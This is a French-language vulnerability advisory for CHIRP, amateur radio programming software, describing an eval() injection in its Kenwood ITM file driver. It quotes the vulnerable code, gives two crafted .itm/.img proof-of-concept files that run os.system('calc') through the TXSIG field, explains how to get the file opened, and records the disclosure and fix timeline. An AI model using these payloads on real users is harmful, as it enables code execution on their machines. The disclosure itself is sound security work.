
Exploit de preuve de concept pour l'exécution de code arbitraire via une injection eval() dans une application de programmation radioamateur, incluant des payloads de fichiers .itm/.img malveillants et une analyse de la cause racine.
eval() dans le pilote Kenwood ITMProduit : CHIRP - Un projet open-source pour programmer les radios amateurs.
Versions concernées :
URL : https://github.com/kk7ds/chirp, https://chirpmyradio.com
Versions concernées : <= chirp-next-20260814
CWE : CWE-95 (Injection Eval)
Le pilote du format de fichier Kenwood ITM de CHIRP transmet les valeurs brutes des champs CSV d'un fichier ouvert directement à la fonction intégrée eval() de Python sans aucune validation. Un attaquant qui fournit un fichier spécialement conçu à un utilisateur de CHIRP peut exécuter du code arbitraire avec les droits de l'utilisateur victime.
chirp/drivers/kenwood_itm.py, _clean_tmode(), lignes 66–67 :
def _clean_tmode(self, headers, line, mem):
rtone = eval(generic_csv.get_datum_by_header(headers, line, "TXSIG")) # SINK
ctone = eval(generic_csv.get_datum_by_header(headers, line, "RXSIG")) # SINK
Les valeurs TXSIG et RXSIG proviennent directement d'une ligne CSV du fichier ouvert. Aucune vérification de type, liste blanche ou sandboxing n'est appliquée avant eval().
Voici deux POCs.
.itm malveillant// Malicious .itm POC
CH,ZN,RXF,TXF,NAME,TXSIG,RXSIG
1,1,146.520000,146.520000,PoC,__import__('os').system('calc'),0
.img malveillant// Malicious .img POC
CH,ZN,RXF,TXF,NAME,TXSIG,RXSIG
1,0,146520000,146520000,PoC,__import__('os').system('calc.exe'),0
chirpεimgeyJyY2xhc3MiOiAiSVRNUmFkaW8iLCAidmVuZG9yIjogIktlbndvb2QiLCAibW9kZWwiOiAiSVRNIiwgInZhcmlhbnQiOiAiIiwgImNoaXJwX3ZlcnNpb24iOiAiZGFpbHktMjAyMzAxMDEifQ==
{file_name}.img. Si vous utilisez la charge utile .itm, changez le filtre déroulant sur "Tous les fichiers" (ITM n'est pas filtré dans CHIRP).{file_name}.itm.2026-08-17 -- Vulnérabilité découverte
2026-08-17 -- Courriel envoyé au mainteneur
2026-08-17 -- Le mainteneur a répondu et le code a été corrigé le jour même. https://github.com/kk7ds/chirp/commit/39178dbfc4fece083ab9ed20286d6ae3a91a718e
2026-08-21 -- La version d'installation 20260821 inclut le correctif.